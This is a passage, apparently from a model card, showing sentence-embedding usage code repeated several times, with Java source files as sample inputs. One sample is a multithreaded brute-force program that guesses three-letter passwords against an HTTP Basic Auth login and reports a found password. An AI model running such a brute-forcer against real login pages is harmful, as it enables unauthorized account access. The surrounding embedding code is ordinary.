" " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put("mail.smtp.host", smtpServer);\n\t\t\tprops.put("mail.smtp.timeout", "20000");\n\t\t\tprops.put("mail.smtp.connectiontimeout", "20000");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n',
    '\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class Watchdog extends TimerTask\n{\n\tpublic void run()\n\t{\n\t\tRuntime t = Runtime.getRuntime();\n\t  \tProcess pr= null;\n\t  \tString Fmd5,Smd5,temp1;\n\t  \tint index;\n          \n\t \ttry\n          \t{\n\t\t    \n\t\t    pr = t.exec("md5sum csfirst.html");\n\n                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread = new BufferedReader(stre);\n\t\t    \n\t\t    s = bread.readLine();\n\t\t    index = s.indexOf(\' \');\n\t\t    Fmd5 = s.substring(0,index);\n\t\t    System.out.println(Fmd5);\n\t\t    \n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("wget http://www.cs.rmit.edu./students/");\n\t\t    pr = null;\n\t\t    \n\t\t    pr = t.exec("md5sum index.html");\n\t\t    \n\n\t\t    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());\n                    BufferedReader bread1 = new BufferedReader(stre1);\n\t\t    \n\t\t    temp1 = bread1.readLine();\n\t\t    index = temp1.indexOf(\' \');\n\t\t    Smd5 = temp1.substring(0,index);\n\t\t    System.out.println(Smd5);\n\t\t\n\t\t    pr = null;\n\t\t\n\t\t    if(Fmd5 == Smd5)\n\t\t       System.out.println("  changes Detected");\n\t\t    else\n\t\t    {\n\t\t       pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t       pr = null;\n\t\t       \n\t\t       try{\n\t\t       Thread.sleep(10000);\n\t\t       }catch(Exception e){}\n\t\t       \n\t\t       pr = t.exec(" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t     \n\t\t       \n\t\t       \n\t\t    }   \n\t\t    \n    \t        }catch(java.io.IOException e){}\n\t}\n}\t\t\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/CodeBERTa-small-v1-SOCO-Java-SoftmaxLoss")
# Run inference
sentences = [
    '\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final char [] alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n        \'w\', \'x\', \'y\', \'z\'};\n\n String pwd="";\n \n for(int i=0;i<52;i++)\n {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];\n    String userPassword = ":"+pwd;\n    RealThread myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n    catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection uc =null;\n private String userPassword;\n private int responseCode = 100;\n public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");\n }\n catch(Exception ex1)\n {\n }\n num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty ("Authorization", " " + encoding);\n  System.out.println("Reponse  = "+uc.getResponseCode()+"for pwd = "+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n  if(uc.getResponseCode()==200)\n  {\n     System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");\n     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println("Could not execute Thread "+num+" ");\n  }\n }\n\n}\n',
    'import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n    static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer");\n    static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient");\n    static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender");\n    static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = "Testing";\n\n\t\t\tSystem.out.println("Started sending the message");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t"Usage: java mailsend"\n\t\t\t\t\t+ " smtpServer toAddress fromAddress subjectText bodyText");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = 